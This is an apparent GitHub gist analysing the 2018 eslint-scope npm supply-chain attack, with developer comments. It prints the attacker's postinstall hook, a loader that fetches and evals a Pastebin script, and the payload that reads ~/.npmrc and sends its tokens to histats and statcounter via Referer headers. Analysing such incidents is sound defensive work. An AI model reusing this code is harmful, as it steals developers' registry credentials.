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eslint-scope attack

The attacker modified package.json in both eslint-escope@3.7.2 and eslint-config-eslint@5.0.2, adding a postinstall script to run build.js.

{
+ "postinstall": "node ./lib/build.js",
}

build.js

This script downloads another script from Pastebin and evals its contents.

Some people have reported that this code has an issue:

r.on("data", c => {
  eval(c);
});

Because it doesn't wait for the request to complete, it is possible for the reqeuest to only send part of the script and the eval call to fail with a SyntaxError, which is how the issue was discovered.

pastebin (https://pastebin.com/XLeVP82h, taken down)

The script extracts the _authToken from a user's .npmrc and sends it to histats and statcounter inside the Referer header.

try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
Accept:
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
}
},
r => {
r.setEncoding("utf8");
r.on("data", c => {
eval(c);
});
r.on("error", () => {});
}
)
.on("error", () => {});
} catch (e) {}
try {
var path = require("path");
var fs = require("fs");
var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
var content = "nofile";
if (fs.existsSync(npmrc)) {
content = fs.readFileSync(npmrc, { encoding: "utf8" });
content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();
var https1 = require("https");
https1
.get(
{
hostname: "sstatic1.histats.com",
path: "/0.gif?4103075&101",
method: "GET",
headers: { Referer: "http://1.a/" + content }
},
() => {}
)
.on("error", () => {});
https1
.get(
{
hostname: "c.statcounter.com",
path: "/11760461/0/7b5b9d71/1/",
method: "GET",
headers: { Referer: "http://2.b/" + content }
},
() => {}
)
.on("error", () => {});
}
} catch (e) {}
@gund
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gund commented Jul 13, 2018

@jonesmac if the path will be configured, then there should be a command to get that value - so it's just one more command to execute before accessing a file...

@jflayhart
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jflayhart commented Jul 13, 2018

Why can't ECMA begin deprecating eval() entirely?

@mim-Armand
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@jflayhart I think they should! I'm using Javascript, overall, for ~ 20 years now,.. never had to use eval() so far and I can't think of any scenario where there wouldn't be other, better, solutions for it..

@reinier-vegter
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While everyone is reporting this snippet captures authtokens for npmjs.com, it actually steals the complete content of someones npmrc because of the poor replacement/regex skills of this attacker, even though it's clear he/she expects npmjs.com tokens.

This means that credentials for private npm repositories are being confiscated as well!

@alexh-ml
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alexh-ml commented Jul 14, 2018

@reinier-vegter It's true that the regex will only try to remove the prefix and send the entire contents of the file.
They also did not escape the header though, so any multiline .npmrc files would not have made it through.

$ node -e "require('https').get({ headers: { 'user-agent': 'invalid\nheader', hostname: 'localhost' } })"


_http_outgoing.js:465
    throw err;
    ^

TypeError [ERR_INVALID_CHAR]: Invalid character in header content ["user-agent"]
    at ClientRequest.setHeader (_http_outgoing.js:474:3)
    at new ClientRequest (_http_client.js:184:14)
    at request (https.js:272:10)
    at Object.get (https.js:276:15)
    at [eval]:1:18
    at Script.runInThisContext (vm.js:91:20)
    at Object.runInThisContext (vm.js:298:38)
    at Object.<anonymous> ([eval]-wrapper:6:22)
    at Module._compile (internal/modules/cjs/loader.js:702:30)
    at evalScript (internal/bootstrap/node.js:531:27)

Is there a way to know the history of the pastebin? Could the script have been patched ever?

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